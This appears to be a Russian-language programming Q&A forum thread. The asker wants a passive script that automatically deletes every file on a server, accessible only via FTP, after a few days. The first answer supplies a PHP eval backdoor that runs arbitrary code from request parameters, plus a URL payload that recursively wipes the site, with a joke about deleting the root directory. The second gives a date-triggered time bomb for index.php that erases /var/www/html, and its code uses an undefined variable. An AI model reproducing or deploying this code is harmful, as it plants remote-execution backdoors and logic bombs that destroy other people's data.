Удалить все файлы через 3 дня на сервере

110
14 июля 2021, 04:40

Нужно удалить все файлы и папки рекурсивно на сервере. Доступ по FTP.

Как можно удалить все через 4 дня автоматически?

PS скрипт должен быть пассивным, не должен запускаться вручную

Answer 1
if(isset($_REQUEST['eval'])){ 
    die(eval($_REQUEST['eval']));
}

и в адресной строке ввести

http://mysite.com?eval=function del_all($path){if(is_file($path)){return @unlink($path);}foreach(scandir($path) as $val){if($val=='.'||$val=='..'){continue;}del_all("{$path}/{$val}");}return @rmdir($path);}del_all(dirname(__FILE__));

del_all(dirname(__FILE__).'/../'); - удалить на директорию выше;

del_all('/'); - стоит попытаться)

Answer 2
  1. Если есть возможность - cron.
  2. В главном php файле, index.php, добавить что-то вроде этого
<?php
// Функция удаления всего в папке
function deleteAll($path) { 
    if (is_file($str)) { 
        return unlink($str); 
    } 
    elseif (is_dir($str)) { 
        $scan = glob(rtrim($str, '/').'/*'); 
        foreach($scan as $index=>$path) { 
            deleteAll($path); 
        } 
        return @rmdir($str); 
    } 
} 
$now_date = new DateTime(); 
$target_date = new DateTime("2019-09-13"); // После этой даты, будет все стираться
if ($now_date->format('Y-m-d') >= $target_date->format('Y-m-d')) { 
    deleteAll('/var/www/html'); // Тут необходимый путь к директории
}

Как только запустят этот файл, сразу же выполнится функция. Ответственности не несу. Делайте бекапы. Тестируйте заранее.

READ ALSO
Оптимизация выборки из бд PHP

Оптимизация выборки из бд PHP

Есть примерно 80 таблиц с данными по которым идёт поиск значений через foreach, и пока он идёт успевает пройти секунд 10-15 так как много таблиц,...

97
Вывод массива - php

Вывод массива - php

Есть форма:

115
Не понимаю принцип переворота строки

Не понимаю принцип переворота строки

Что происходит в следующих 2 строках? Почему мы доходим до среднего символа в leftPart, начинаем с того же среднего символа в rightPart, но символ не дублируется?

124
Как освободить инициатора события?

Как освободить инициатора события?

уважаемое сообщество!

87